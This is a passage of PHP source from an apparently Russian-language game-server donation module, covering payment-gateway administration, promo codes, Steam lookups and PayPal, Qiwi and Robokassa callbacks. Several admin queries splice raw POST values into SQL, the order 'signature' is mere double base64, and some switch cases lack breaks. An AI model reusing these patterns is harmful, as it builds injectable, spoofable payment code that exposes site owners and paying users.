if(empty($expromo)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'),'error'); $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "DELETE FROM lk_promocodes WHERE id = :id",$param); $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_DeletedPromo'),'success'); } public function LkAddDiscord($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(empty($post['webhoock_url_offon'])) $auth = 0; else{ if(empty($post['webhoock_url'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EnterWebhoockUrl'),'error'); $auth = 1; } $param = ['url' => $post['webhoock_url'], 'auth' => $auth]; $allGateways = $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_discord SET url=:url, auth=:auth",$param); $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Saved'),'success'); } public function LkAddGateway($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $this->LkExistGatewayAdd($post); $this->LKvalidateGatewayData($post['gateway'],$post); $params = [ 'id' => $this->LkConvertGatewayId($post['gateway']), 'name' => $this->name ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO lk_pay_service VALUES(:id, :name, '$post[shopid]', '$post[secret1]', '$post[secret2]', 1)", $params); $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AddGateway'),['name'=>$this->name]), 'success'); } public function LkEditGateway($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(isset($_POST['status'])) $status = 1; else $status = 0; $this->LkNotExistGateway($post['gateway_edit']); $this->LKvalidateGatewayData($post['gateway_edit'],$post); $params = [ 'id' => $this->LkConvertGatewayId($post['gateway_edit']), 'status' => $status ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_pay_service SET shop_id = '$post[shopid]', secret_key_1 = '$post[secret1]', secret_key_2 = '$post[secret2]', status = :status WHERE id = :id", $params); $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_DataChangesGateway'),['gateway'=>$this->name]), 'success'); } public function LkDeleteGateway($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(!preg_match('/^\d+$/i', $post['gateway_delete'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'), 'error'); $this->LkNotExistGateway($this->LkConvertGatewayString($post['gateway_delete'])); $param =['id'=> $post['gateway_delete']]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "DELETE FROM lk_pay_service WHERE id = $param[id]"); $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_DeletedGateway'),'success'); } public function LkNotExistGateway($gateway){ $param =['id'=> $this->LkConvertGatewayId($gateway)]; $gateway = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pay_service WHERE id = :id",$param); if(empty($gateway)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GetwNoExist'),'error'); } protected function LkExistGatewayAdd($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $param =['id'=>$this->LkConvertGatewayId($post['gateway'])]; $gateway = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT id FROM lk_pay_service WHERE id = :id",$param); if(!empty($gateway)) $this->message($this->name.$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GetwExist'), 'error'); } protected function LKvalidateGatewayData($gateway, $post){ switch ($gateway) { case 'freekassa': if(empty($post['shopid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISID'), 'error'); else if(empty($post['secret1'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISEC').' #1', 'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISEC').' #2', 'error'); $this->name = 'FreeKassa'; break; case 'interkassa': if(empty($post['shopid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISID'), 'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISEC'), 'error'); $this->name = 'InterKassa'; break; case 'robokassa': if(empty($post['shopid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_RSID'), 'error'); else if(empty($post['secret1'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_IPASS').' #1', 'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_IPASS').' #2', 'error'); $this->name = 'RoboKassa'; break; case 'unitpay': if(empty($post['secret1'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_InPub'),'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_InSec'),'error'); $this->name = 'UnitPay'; break; case 'yandexmoney': if(empty($post['shopid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_IPURSE'),'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISEC'),'error'); $this->name = 'YandexMoney'; break; case 'webmoney': if(empty($post['shopid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_IPURSE'),'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ISEC'),'error'); $this->name = 'WebMoney'; break; case 'paypal': if(empty($post['shopid'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EnterPaypalAccount'),'error'); $this->name = 'PayPal'; break; case 'qiwi': if(empty($post['secret1'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_InPub'),'error'); else if(empty($post['secret2'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_InSec'),'error'); $this->name = 'Qiwi'; break; default: $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NINT'), 'error'); break; } } public function status($status){ if(empty($status))$return = ''; else $return = ''; return $return; } public function LkDelUsers(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if($this->db->db_data['lk'][0]['mod'] == 1) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "DELETE FROM lk WHERE !cash AND all_cash = 0"); else if($this->db->db_data['lk'][0]['mod'] == 2) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "DELETE FROM lk_system WHERE !money AND all_money = 0"); $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_UsersDelete'),'success'); } public function LkUpdateBalance($post){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; if(!preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$post['user'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_SteamError'),'error'); if(!preg_match('/^[0-9]{1,5}.[0-9]{1,2}$/', $this->WM($post['new_balance']))) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountError'),'error'); $new_balance = $post['new_balance']-$post['old_balance']; if($new_balance != 0){ $params = [ 'order' => time() % 100000, 'auth' => $post['user'], 'summ' => $new_balance, 'data' => date('d.m.Y в H:i:s'), 'system' => 'admin' ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO `lk_pays` (`pay_order`, `pay_auth`, `pay_summ`, `pay_data`, `pay_system`, `pay_promo`, `pay_status`) VALUES($params[order],'$params[auth]',$params[summ],'$params[data]','$params[system]',' ',1)"); $this->Notifications->SendNotification( $post['user'], '_AdminPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $new_balance,'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$params['order'], 'money' ); } $params = [ 'auth' => $post['user'], 'cash' => $post['new_balance'], ]; if($this->db->db_data['lk'][0]['mod'] == 1) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk SET cash = :cash WHERE auth = :auth",$params); else if($this->db->db_data['lk'][0]['mod'] == 2) $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "UPDATE lk_system SET money = :cash WHERE auth = :auth",$params); $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NewBalanceUser'),['user'=>$post['user']]),'success'); } public function LkCleanLogs(){ if( !isset( $_SESSION['user_admin'] ) || IN_LR != true )exit; $mouth = date('m_Y'); $expromo = $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "DELETE FROM lk_logs WHERE log_name NOT LIKE '%$mouth%'"); $this->message('Логи очищены!'.$mouth,'success'); } public function LkLoadPlayerProfile($link, $type = 0){ $_SAPIKEY = $this->General->arr_general['web_key']; $match = explode('/', $link); if(!empty($match[4])) { if(preg_match( '/^(7656119)([0-9]{10})$/', $match[4])) { $get = $this->CurlSend("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=".$_SAPIKEY."&steamids=".$match[4]); $content = json_decode($get, true); } else { $get = $this->CurlSend("http://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key=".$_SAPIKEY."&vanityurl=".$match[4]); $castomName = json_decode($get, true); $get = $this->CurlSend("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=".$_SAPIKEY."&steamids=".$castomName['response']['steamid']); $content = json_decode($get, true); } } else if(preg_match( '/^(7656119)([0-9]{10})$/', $link)) { $get = $this->CurlSend("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=".$_SAPIKEY."&steamids=".$link); $content = json_decode($get, true); } else if(preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$link)) { $ex = explode(":", $link); $_s64 = $ex[2] * 2 + $ex[1] + '76561197960265728'; $get = $this->CurlSend("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=".$_SAPIKEY."&steamids=".$_s64); $content = json_decode($get, true); } else if(preg_match('/^\[U:(.*)\:(.*)\]$/', $link, $match)) { if(!empty($match[2])) { $_s64 = $match[2] + '76561197960265728'; $get = $this->CurlSend("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=".$_SAPIKEY."&steamids=".$_s64); $content = json_decode($get, true); } else return $link; } if(!empty($content)) { if(!empty($type)) return con_steam64to32($content['response']['players'][0]['steamid']); else exit (trim(json_encode(array( 'img' => $content['response']['players'][0]['avatarfull'], 'name' => $content['response']['players'][0]['personaname'], )))); }else{ if(!empty($type)) return $link; else return false; } } /** * Пользовательские функции интерфейса * */ public function LkOnPayment($post){ if(empty($post['gatewayPay'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_ChangeGateway'), 'error'); $Gateway = $this->LkGetGatewayOn($post['gatewayPay']); $post['steam'] = $this->LkLoadPlayerProfile($post['steam'], 2); if(empty($Gateway)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatewayOnNotEzist'), 'error'); else if(empty($post['steam'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EnterSteam'),'error'); if(!preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$post['steam'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_SteamError'),'error'); else if(empty($post['amount'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_EnterAmount'), 'error'); else if(!preg_match('/^[0-9]{1,5}.[0-9]{1,2}$/', $this->WM($post['amount']))) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountError'),'error'); else if($post['amount'] < 0.01) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountError'),'error'); else if(!empty($post['promocode'])){ if(!preg_match('/^[A-z-0-9]{5,15}$/',$post['promocode'])) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_Error'), 'error'); $this->checkPromo($post['promocode'], $post['steam']); } $this->LkNotExistGateway($post['gatewayPay']); $this->setPay($post); } protected function setPay($post){ $data = $this->LkGetGatewayOn($post['gatewayPay']); $order = time() % 100000; $desc = $this->Translate->get_translate_module_phrase('module_page_lk_impulse','_OnPayUserDesc').$post['steam']; $lk_sign = $this->Encoder($data[0]['id'].','.$order.','.$post['amount'].','.$post['steam']); switch ($post['gatewayPay']) { case 'freekassa': if (empty($data[0]['status'])) { $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse', '_GatwayOff'), ['name' => 'FreeKassa']), 'error'); } $this->LKRegPay($order, $post, 'Freekassa'); $sign = md5($data[0]['shop_id'].':'.$post['amount'].':'.$data[0]['secret_key_1'].':RUB:'.$order); $this->location('https://pay.freekassa.ru/?' . http_build_query([ 'm' => $data[0]['shop_id'], 'oa' => $post['amount'], 'o' => $order, 's' => $sign, 'currency' => 'RUB', 'us_sign' => $lk_sign ])); break; case 'interkassa': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'InterKassa']),'error'); $this->LKRegPay($order,$post,'InterKassa'); $this->message('
    ',''); break; case 'robokassa': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'RoboKassa']),'error'); $this->LKRegPay($order,$post,'RoboKassa'); $sign = md5($data[0]['shop_id'].':'.$post['amount'].':'.$order.':'.$data[0]['secret_key_1'].':Shp_mysign='.$lk_sign); $this->message('
    ',''); break; case 'unitpay': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'UnitPay']),'error'); $this->LKRegPay($order,$post,'UnitPay'); $sign = hash('sha256', $lk_sign.'{up}RUB{up}'.$desc.'{up}'.$post['amount'].'{up}'.$data[0]['secret_key_2']); $this->message('
    ',''); break; case 'yandexmoney': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'YandexMoney']),'error'); $this->LKRegPay($order,$post,'YandexMoney'); $this->message('
    ',''); break; case 'yandexmoneycard': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'YandexMoneyCard']),'error'); $this->LKRegPay($order,$post,'YandexMoneyCard'); $this->message('
    ',''); break; case 'webmoney': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'WebMoney']),'error'); $this->LKRegPay($order,$post,'WebMoney'); $this->message('
    ',''); break; case 'paypal': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'PayPal']),'error'); $this->LKRegPay($order,$post,'PayPal'); $this->message('
    ',''); case 'qiwi': if(empty($data[0]['status'])) $this->message(LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_GatwayOff'),['name'=>'Qiwi']),'error'); $this->LKRegPay($order,$post,'Qiwi'); $this->message('
    ',''); break; default: $this->message('Error','error'); break; } } protected function checkPromo($promo,$sid){ $param = ['code' => $promo]; $codeInfo = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_promocodes WHERE code = :code", $param); if(empty($codeInfo)) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NotFoundPromo'),'error'); else if($codeInfo[0]['attempts'] <= 0) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NoLimitPromo'),'error'); else if($codeInfo[0]['auth1']){ preg_match('/:[0-9]{1}:\d+/i', $sid, $auth); $params = ['code'=>$promo,'auth' => '%'.$auth[0].'%']; $userPromo = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT pay_promo FROM lk_pays WHERE pay_promo = :code AND pay_status = 1 AND pay_auth LIKE :auth", $params); if($userPromo) $this->message($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_YouUsePromo'),'error'); } } public function LkCalculatePromo($promo,$steam,$amount){ $steam = $this->LkLoadPlayerProfile($steam, 2); if($amount < 0.1)exit (trim(json_encode(array( 'result' => '
    '.LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_MinAmount'),['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse')]).'
    ' )))); else if(!preg_match('/^STEAM_[0-9]{1,2}:[0-1]:\d+$/',$steam)) exit (trim(json_encode(array( 'result' => $this->Translate->get_translate_module_phrase('module_page_lk_impulse','_SteamError') )))); else if($amount >=10 && !empty($steam)){ $param = ['code' => $promo]; $codeInfo = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_promocodes WHERE code = :code", $param); if(empty($codeInfo)) exit (trim(json_encode(array( 'result' => $this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NotFoundPromo') )))); else if($codeInfo[0]['attempts'] <= 0) exit (trim(json_encode(array( 'result' => $this->Translate->get_translate_module_phrase('module_page_lk_impulse','_NoLimitPromo') )))); else if($codeInfo[0]['auth1']){ preg_match('/:[0-9]{1}:\d+/i', $steam, $auth); $params = ['code'=>$promo,'auth' => '%'.$auth[0].'%']; $userPromo = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pays WHERE pay_promo = :code AND pay_status = 1 AND pay_auth LIKE :auth LIMIT 1", $params); if($userPromo) exit (trim(json_encode(array( 'result' => $this->Translate->get_translate_module_phrase('module_page_lk_impulse','_YouUsePromo') )))); } $bonus = ($amount/100)*$codeInfo[0]['percent']; $newAmount = $bonus+$amount; exit (trim(json_encode(array( 'result' => LangValReplace($this->Translate->get_translate_module_phrase('module_page_lk_impulse','_BonusPromoUse'), ['newamount'=>$newAmount, 'percent'=>$codeInfo[0]['percent']]) )))); } } public function https(){ if(!empty($_SERVER['HTTPS']) && 'off' !== strtolower($_SERVER['HTTPS'])) return 'https:'; else return 'http:'; } protected function LKRegPay($order,$post,$system){ $params = ['order' => $order, 'auth' => $post['steam'], 'summ' => $post['amount'], 'data' => date('d.m.Y H:i:s'), 'system' => $system, 'promo' => $post['promocode'], ]; $this->db->query('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "INSERT INTO lk_pays(pay_order, pay_auth, pay_summ, pay_data, pay_system, pay_promo, pay_status) VALUES(:order, :auth, :summ, :data, :system, :promo, 0)", $params); } protected function Encoder($string){ $return = base64_encode(base64_encode($string)); return $return; } protected function WM($summ){ $ita = explode('.', $summ); if(COUNT($ita) == 1){ $summa = $ita[0].'.00'; }else{ $summa = $summ; } return $summa; } protected function LkConvertGatewayId($gateway){ $array = [ 'freekassa' => 1, 'interkassa' => 2, 'robokassa' => 3, 'unitpay' => 4, 'yandexmoney' => 5, 'yandexmoneycard' => 5, 'webmoney' => 6, 'paypal' => 7, 'qiwi' => 8, ]; return $array[$gateway]; } protected function LkConvertGatewayString($id){ $array = [ 1 => 'freekassa', 2 => 'interkassa', 3 => 'robokassa', 4 => 'unitpay', 5 => 'yandexmoney', 5 => 'yandexmoneycard', 6 => 'webmoney', 7 => 'paypal', 8 => 'qiwi' ]; return $array[$id]; } protected function message($text,$status){ exit (trim(json_encode(array( 'text' => $text, 'status' => $status, )))); } protected function location($url){ exit (trim(json_encode(array( 'location' => $url, )))); } public function LKChart(){ $cashSYS = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_pays WHERE pay_status = 1 ORDER BY pay_id ASC"); if(!empty($cashSYS)){ $fff = json_encode($cashSYS); $json = json_decode($fff, true); $mount_name = [ '12' => "Декабрь", '11' => "Ноябрь", '10' => "Октябрь", '09' => "Сентябрь", '08' => "Август", '07' => "Июль", '06' => "Июнь", '05' => "Май", '03' => "Март", '02' => "февраль", '01' => "Январь" ]; $c_arr = sizeof( $json ); for ($i = 0; $i < $c_arr; $i++) { $mount = explode( ".", $json[ $i ]['pay_data'] ); $pay = $json[ $i ]['pay_system']; $oldYear = date("Y")-1; if(substr($mount[2],0,-9) == $oldYear){ $end[ $oldYear ][ $pay ] += $json[ $i ]['pay_summ']; } else $end[ $mount_name [ $mount[1] ]][ $pay ] += $json[ $i ]['pay_summ']; } echo "anychart.onDocumentReady(function() { anychart.theme('darkEarth'); var chart = anychart.line(); chart.animation(true); chart.legend().enabled(true).fontSize(12).padding([0, 0, 0, 0]); chart.crosshair().enabled(true).yLabel(false).yStroke(null); chart.tooltip().positionMode('point'); chart.xAxis().labels().padding(1); var dataSet = anychart.data.set(["; foreach ($end as $key => $value) { echo "['$key'"; foreach ($value as $key2 => $val2) { echo ", $val2"; } echo ', 0],'; } echo "]);"; $i =1; foreach ($end as $key => $value) { foreach ($value as $key2 => $val) { if($one[$key2] != $key2){ echo " seriesData_$i = dataSet.mapAs({'x': 0,'value': $i}); series$key2 = chart.line(seriesData_$i); series$key2.name('$key2'); series$key2.hovered().markers().enabled(true).type('circle').size(2); series$key2.tooltip().position('right').anchor('left-center').offsetX(5).offsetY(5);"; $one[$key2] = $key2; $i++; } } } echo "chart.container('containerChart'); chart.draw();});"; } } public function CurlSend($url) { $c = curl_init($url); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $url = curl_exec($c); return $url; } public function SearchUser($post){ $searchTrim = trim($post); $Steam = trim($this->LkLoadPlayerProfile($searchTrim, true)); if(empty($searchTrim))$this->message('Строка поиска пустая', 'error'); $param = ['search' => "%$searchTrim%"]; if($this->db->db_data['lk'][0]['mod'] == 1) { $infoUser = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk WHERE auth LIKE :search ORDER BY all_cash DESC LIMIT 0,20", $param); if(empty($infoUser)) $infoUser = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk WHERE name LIKE :search ORDER BY all_cash DESC LIMIT 0,20", $param); } else if($this->db->db_data['lk'][0]['mod'] == 2) { $infoUser = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_system WHERE auth LIKE :search ORDER BY all_money DESC LIMIT 0,20", $param); if(empty($infoUser)) $infoUser = $this->db->queryAll('lk', $this->db->db_data['lk'][0]['USER_ID'], $this->db->db_data['lk'][0]['DB_num'], "SELECT * FROM lk_system WHERE name LIKE :search ORDER BY all_money DESC LIMIT 0,20", $param); } $_SESSION['search'] = $infoUser; $this->location('lk/?section=search'); } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Paypal.php ================================================ req = 'cmd=_notify-validate'; if (function_exists('get_magic_quotes_gpc')) { $get_magic_quotes_exists = true; } foreach ($myPost as $key => $value) { if ($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) { $value = urlencode(stripslashes($value)); } else { $value = urlencode($value); } $this->req .= "&$key=$value"; } $ch = curl_init('https://ipnpb.paypal.com/cgi-bin/webscr'); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $this->req); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_FORBID_REUSE, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Connection: Close')); if ( !($this->res = curl_exec($ch)) ) { $this->addLog('PayPal - Получил '.curl_error($ch).'при обработке данных IPN'); curl_close($ch); exit; } curl_close($ch); if (strcmp ($this->res, "VERIFIED") == 0){ $us = $this->Decoder($post['item_number']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('PayPal'); if(empty($BChekGateway)) die('Gatewqy Freekassa not Exist.'); $BCheckPay = $this->BCheckPay('PayPal'); if(empty($BCheckPay)) die('Pay not found'); if($this->decod[2] != $post['mc_gross']) { $this->LkAddLog('_NoValidSumm', ['gateway'=>'PayPal','amount' => $this->decod[2].'/'.$post['mc_gross']]); die("Amount does't match"); } $this->BCheckPlayer(); $this->BCheckPromo('PayPal'); $this->BUpdateBalancePlayer($this->decod[3],$post['mc_gross']); $this->BUpdatePay(); $this->BNotificationDiscord('PayPal'); $this->LkAddLog('_NewDonat', ['gateway'=>'PayPal','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['AMOUNT'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['mc_gross'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } else if (strcmp ($this->res, "INVALID") == 0) { $this->LkAddLog('PayPal - The response from IPN was: '.$this->res); } } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Paysera.php ================================================ Decoder($post['bill']['customer']['account']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('Qiwi'); if( empty( $BChekGateway ) ){ header("Content-Type: application/json"); die('{"error":"1"}'); } $invoice_parameters = $post['bill']['amount']['currency'].'|'.$post['bill']['amount']['value'].'|'.$post['bill']['billId'].'|'.$post['bill']['siteId'].'|'.$post['bill']['status']['value']; $sign = hash_hmac('sha256', $invoice_parameters,trim($this->kassa[0]['secret_key_2'])); if($sign == $signature){ if($post['bill']['status']['value'] == 'PAID'){ $BCheckPay = $this->BCheckPay('Qiwi'); if( empty( $BCheckPay ) ){ header("Content-Type: application/json"); die('{"error":"1"}'); } if($this->decod[2] != $post['bill']['amount']['value']){ $this->LkAddLog('_NoValidSumm', ['gateway'=>'Qiwi','amount' => $this->decod[2].'/'.$post['bill']['amount']['value']]); header("Content-Type: application/json"); die('{"error":"2"}'); } $this->BCheckPlayer(); $this->BCheckPromo('Qiwi'); $this->BUpdateBalancePlayer($this->decod[3],$post['bill']['amount']['value']); $this->BUpdatePay(); $this->BNotificationDiscord('Qiwi'); $this->LkAddLog('_NewDonat', ['gateway'=>'Qiwi','order'=>$this->decod[1], 'course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'), 'amount' => $this->decod[2], 'steam'=>$this->decod[3]]); $admins = $this->db->queryAll( 'Core', 0, 0, "SELECT * FROM lvl_web_admins WHERE flags = 'z' "); foreach( $admins as $key ){ $this->Notifications->SendNotification( con_steam64to32($key['steamid']), '_GetDonat', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['bill']['amount']['value'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); } $this->Notifications->SendNotification( $this->decod[3], '_YouPay', ['course'=>$this->Translate->get_translate_module_phrase('module_page_lk_impulse','_AmountCourse'),'amount'=> $post['bill']['amount']['value'],'module_translation'=>'module_page_lk_impulse'], 'lk/?section=payments#p'.$this->decod[1], 'money' ); header("Content-Type: application/json"); echo '{"error":"0"}'; }else { $this->LkAddLog('Qiwi - NOT PAYED. STATUS: '.$post['bill']['status']['value']); header("Content-Type: application/json"); die('{"error":"3"}'); } }else { $this->LkAddLog('_NOTSIGN', ['gateway'=>'Qiwi']); header("Content-Type: application/json"); die('{"error":"4"}'); } } } ================================================ FILE: app/modules/disabled/module_page_lk_impulse/ext/Robokassa.php ================================================ Decoder($post['Shp_mysign']); $this->decod = explode(',', $us); $BChekGateway = $this->BChekGateway('Robokassa'); if(empty($BChekGateway))exit; $sign = strtoupper(md5($post['OutSum'].':'.$post['InvId'].':'.trim($this->kassa[0]['secret_key_2']).':Shp_mysign='.$post['Shp_mysign'])); if($sign != strtoupper($post['SignatureValue'])) { $this->LkAddLog('_NOTSIGN', ['gateway'=>'Robokassa']); die('Invalid digital signature.'); } } public function RBProcessPay($post){ $BCheckPay = $this->BCheckPay('Robokassa'); if(empty($BCheckPay))exit; if($this->decod[2] != $post['OutSum']) { $this->LkAddLog('_NoValidSumm', ['gateway'=>'Robokassa','amount' => $this->decod[2].'/'.$post['OutSum']]); die("Amount does't match"); } $this->BCheckPlayer(); $this->BCheckPromo('Robokassa'); 